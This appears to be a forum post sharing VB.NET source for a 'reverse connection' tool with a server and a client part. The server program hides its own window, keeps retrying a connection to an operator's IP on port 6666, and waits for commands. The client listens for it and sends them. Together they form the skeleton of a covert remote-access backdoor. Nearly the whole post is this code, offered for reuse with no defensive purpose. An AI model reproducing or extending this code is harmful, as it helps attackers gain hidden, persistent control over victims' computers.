12-13-2009, 11:09 PM
this is a reverse connection ive been working on, got it finished. what you need to test it is:
2 buttons
1 backroundworker
this is for server
this is for client
simple gui for testing
credits to soul collector
2 buttons
1 backroundworker
this is for server
Code:
'server code
Imports System.Net.Sockets
Public Class Form1
Private tcpClient As TcpClient
Private networkStream As NetworkStream
Private Sub Form1_Load(ByVal sender As Object, _
ByVal e As System.EventArgs) Handles Me.Load
Me.Hide()
tcpClient = New TcpClient()
While tcpClient.Connected = False
RunServer()
System.Threading.Thread.Sleep(5000)
End While
While True
transfer()
End While
End Sub
Private Sub RunServer()
If Not tcpClient.Connected Then
Try
tcpClient.Connect("your ip here", 6666)
Catch ex As Exception
RunServer()
End Try
End If
End Sub
Private Sub transfer()
If tcpClient.Connected = True Then
tcpClient.SendTimeout = 5000
Try
Dim nstream As NetworkStream = tcpClient.GetStream
Dim bit(tcpClient.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(tcpClient.ReceiveBufferSize))
Dim message As String = System.Text.Encoding.ASCII.GetString(bit)
Dim cmd() As String = Split(message, "*", -1, CompareMethod.Text)
If cmd(0) = 1 Then
MsgBox("Hello")
getData("1*")
End If
Catch ex As Exception
transfer()
End Try
End If
End Sub
Private Sub getData(ByVal getData As String)
Dim nstream As NetworkStream = tcpClient.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(getData)
nstream.Write(bit, 0, bit.Length)
End Sub
End Class
this is for client
Code:
'client
Imports System.Net.Sockets
Imports System.IO
Imports System.Threading
Imports System.Net
Imports System.Text
Public Class Form1
Dim port As Integer = 6666
Dim sock As New TcpClient
Private tcpc As New TcpListener(port)
Dim socketForServer As Socket
Private networkStream As NetworkStream
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
BackgroundWorker1.RunWorkerAsync()
End Sub
Private Sub Transfer()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim message As String = System.Text.Encoding.ASCII.GetString(bit)
Dim cmd() As String = Split(message, "*", -1, CompareMethod.Text)
If cmd(0) = 1 Then
MsgBox("goodBye")
End If
Catch ex As Exception
Transfer()
End Try
End If
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, _
ByVal e As System.ComponentModel.DoWorkEventArgs) Handles _
BackgroundWorker1.DoWork
While sock.Connected = False
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End While
End Sub
Private Sub BackgroundWorker1_RunWorkerCompleted(ByVal sender As Object, _
ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) _
Handles BackgroundWorker1.RunWorkerCompleted
Return
End Sub
Private Sub getdata(ByVal getdata As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(getdata)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button2.Click
getdata("1*")
Transfer()
End Sub
End Class
simple gui for testing
credits to soul collector